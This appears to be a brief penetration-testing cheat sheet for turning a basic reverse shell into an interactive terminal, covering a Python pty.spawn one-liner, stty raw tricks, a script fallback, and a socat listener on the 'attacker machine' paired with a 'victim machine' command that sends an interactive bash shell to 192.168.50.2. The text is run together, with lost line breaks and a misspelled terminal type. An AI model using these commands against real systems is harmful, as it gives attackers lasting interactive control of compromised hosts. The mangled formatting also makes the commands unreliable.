python
python3 -c 'import pty; pty.spawn("/bin/bash")' ^Zstty raw -echo && fg- type in
restto reinitialise the terminal and set these:
export SHELL=bash
export TERM=xterm256-color
stty rows 38 columns 116no python
/usr/bin/script -qc /bin/bash /dev/nullwith socat
run this on the attacker machine
socat file:`tty`,raw,echo=0 tcp-listen:1338run this on the victim machine
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.50.2:1338